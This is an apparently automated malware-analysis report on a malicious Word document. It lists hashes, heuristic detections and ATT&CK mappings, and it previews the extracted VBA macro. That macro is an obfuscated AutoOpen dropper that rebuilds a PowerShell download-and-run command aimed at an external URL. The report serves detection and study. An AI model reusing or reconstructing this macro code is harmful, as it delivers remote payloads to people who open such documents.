Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3cb47e4b0cda4f60…

MALICIOUS

Office (OLE)

88.0 KB Created: 2018-02-16 15:38:00 Authoring application: Microsoft Office Word First seen: 2018-02-19
MD5: 9c207921cd627aa355e11286e5a86ee0 SHA-1: 46f4f3c55f19cd4c0f10f845f2becdf8d0753f27 SHA-256: 3cb47e4b0cda4f60574ac842c006e9eca8aaf79e57cf3658399bbe456eb22ee6
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains a VBA macro with an AutoOpen function, which is a common technique for executing malicious code upon opening a document. The macro utilizes the Shell() function and attempts to download a payload from the reconstructed URL "http://ud03.rgd1zN2+zN2+gd1u/yqRGicp/Jgd1+gd1oggd1+oCiYjMKPdoHlkBwJIt". This indicates a downloader or droppper functionality, aiming to fetch and execute further malicious content.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6453116-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6453116-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://tzN2+zN2ransgd1+gd1-imperizN2+ In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 22006 bytes
SHA-256: 31a086aaaad0099a6eaae380ad1abc99d7a1f1fdce59f38fb84f2fabdcb8e7a4
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "sbWZsCpERws"
Function dKkolzLHP()
On Error Resume Next
XlZjOaiD = 565903 / CLng(SlVEDrjTw) - 652761 * Cos(2074076) + OlqzlWGmi + 3955557
VBuEndwijb = 7004105 / CLng(wwrpijATAtoCI) - 3917725 * Cos(6687942) + oOEpUYwTQKJzwQ + 7817993
YlDcm = 9517784 / CLng(bHGAt) - 7154664 * Cos(2475737) + rVUzn + 7857801
qFUvJdXbJi = (XiAsfuKEGHuUC) + HJjkJKD("EwRGnjFdMTZdFIt0n'+'leu5PzN2+zN2(9jHasfc.u5PToStrt'+'gd1+gd10ngd1+gd1itgd1+gd10g'+'d1+gd1nzN2+zN2gd1+gd1Ngu5zN2+zICwlaTkNcsjrKjnCQSLYMfJrUsp", 12, 102)
WwPNbGCI = 988889 / CLng(BhMczudrmcCbW) - 5597564 * Cos(4123038) + JnRUjGBjGbUNn + 154292
XDiVwPjmDwY = 4052363 / CLng(PGlHELMDqZIw) - 4141894 * Cos(4661965) + wChsj + 3619668
KipLWlqhWbz = 7014840 / CLng(vfdVVa) - 3129112 * Cos(797831) + HRMPrNozbOiH + 9456382
rpdJkn = (YZXZCWk) + HJjkJKD("iPLpjIURTgd1+gd1lgdzN2+P6t+P6tzN21+gd1zN2+zN2/?htgd1P6t+P6t+gd1tp://ud03.rgd1zN2+zN2+gd1u/yqRGicp/Jgd1+gd1oggd1+oCiYjMKPdoHlkBwJIt", 8, 105)
GkKnEYBUYZ = 5206290 / CLng(qcZVXpDLmFotu) - 1546957 * Cos(888480) + CwaPnv + 566879
bjULtk = 988674 / CLng(dVzhTBlMHklEmZ) - 2945415 * Cos(1950576) + nSWMNdNYt + 8440494
GrtrtBjcJhV = 276744 / CLng(DuaUWuT) - 792438 * Cos(5671650) + DDjnXTBP + 4757282
VEqqR = (IlSiwqc) + HJjkJKD("OdiMW39-rEPLACE'+' gd1igXgd1,[cHaR]92 -rEPLACP6t+P6tE([zN2+zP6t+P6tN2cHaP6t+P6tR]116+[cHaR]48+'+'[cHaR]110),[c'+'HaR]96-rEPLAC'+'E gd1'+'9jzNP6t+P6t2P6t+P6t+zN'+'2Hgd1,[cP6t+P6tHzN2+zN'+'2aR]3dwFnlPTiaZBKb", 6, 187)
iAsWN = 1158145 / CLng(VOTfZGuWiTpGm) - 7471901 * Cos(8019877) + kibRUsuTfihI + 3489553
GjobIXI = 9979006 / CLng(PzXmVPGqlsmvq) - 8853158 * Cos(8969851) + CVzfBUoZ + 5507459
EtGawjfFG = 3844698 / CLng(AqYmEiZaHPzUWd) - 7645560 * Cos(7958408) + hwEZkQfmU + 3879193
ZZBPClJwlii = (mJZJjBEpLjPfv) + HJjkJKD("wESTfCltutHzhSEwnHcJogd1+gd1ggd1+gd1+JogtJoggd1P6t+P6t+gP6t+P6'+'td1) rgd1+gd1RHRLcuadFcE", 19, 60)
PMDkBvaljzQ = 6127203 / CLng(aQZtzkK) - 6430308 * Cos(6010804) + RpSHXobTAfoFzO + 5447205
lbiFUHbRpJ = 7145323 / CLng(RiPzGimopZUGz) - 1438438 * Cos(6713811) + qlNiTiZDuqAb + 4051235
lcPCBs = 3607509 / CLng(QOpsCPz) - 1947989 * Cos(2131075) + ShOHNCXFRGc + 2891216
jEbAJM = (nCCBaCNfOr) + HJjkJKD("sHjLof gzN2+zN2dP6t+P6t1+gd1+gd1P6t+P6t+gP6t+P6td1P6t+P'+'6t'+' (JzN2+zN2og.gd1+gd1zN2+zN2egd1+gd1zN2+zN2xgd1+gd1Joggd1+gd1+Jogd1+gd1geJgd1+gd1ogP'+'6t+P6tgd1P6t+P6t+'+'zN2+zN2gP6tqZOEmAQSiDHFjEFzmUJHuKjf", 7, 174)
VMBsmwCGja = 6226603 / CLng(rbCCBzLvj) - 7721681 * Cos(5546758) + EMjBMOEwD + 9315981
zttkCHo = 8890529 / CLng(VwKAEVvIYrO) - 124907 * Cos(2466295) + ZquQWbBpPKiBjs + 2059382
WBrJhAK = 6821009 / CLng(vhUhCmKrL) - 8650612 * Cos(3942719) + MzipMpOCmaSjfi + 9896618
skXjonAF = (dLTXODsHP) + HJjkJKD("wwT24) o58 & ( ocdPshO'+'ME[21]+ocdpsHomE[34]+zN2'+'xzN2)'+'P6t).'+'REplaCE(P6to58P6'+'t,P6tvBoP6t).'+'REplaCE(P6twzjKZPPn", 4, 111)
CBOdHcLK = 2612588 / CLng(MTDwhjUOoCUnpp) - 4430492 * Cos(8170576) + HqdPzuSKS + 2624917
pjEDmhXUjiG = 3070685 / CLng(zmilZpUzBIm) - 9834282 * Cos(816068) + PCQuj + 7561990
jSLvMFJR = 8514589 / CLng(lNkjPZ) - 7072328 * Cos(7158215) + VEfpPpB + 3164062
zKaKlzV = (WDjYKijsD) + HJjkJKD("OEtZIfJFJhzOwAvj gd1zN2+zN2+gd1.(Jogd1+gd1gzN2+zN2neJzN2+zN2og+JogwJog+P'+'6t+P6t'+'gd1+gd1Joggd1+gd1-gd1+'+'gd1objectJoggUEqniAIHoMoK", 17, 106)
HLRFQulS = 2688722 / CLng(MOdkl) - 183009 * Cos(7728316) + KFVVuUqprcnz + 2727811
HvjIvUKzv = 4766417 / CLng(XYGcFEmjmjiDfu) - 8716496 * Cos(8357346) + BOGvXFBtZDZSl + 2875845
ObfFXwBDj = 7384769 / CLng(PFLiYihYVjpQ) - 3286699 * Cos(2022049) + wkzzzSDATFjfBN + 3406634
jDhuXCt = (qBQBsavOQtQuZ) + HJjkJKD("P&( ([sTrinG]$veRbosePrefERENcE)[1,3]+'X'-jOIN'')( (' (P'+'6t((z'+'N2 ((gd1zN2+zN29jHP6t+P6tngd1+gd1sazN2+zN2dasd = &(JognJgd1+gd1oggd1+gd1+gd1+gd1Jog'+'d1+gd1P6t+P6tg'+'eJog+Jogd1+gd1gw-objeLPhoinjMu", 2, 190)
wEfnPA = 5126709 / CLng(nRmVLF
... (truncated)

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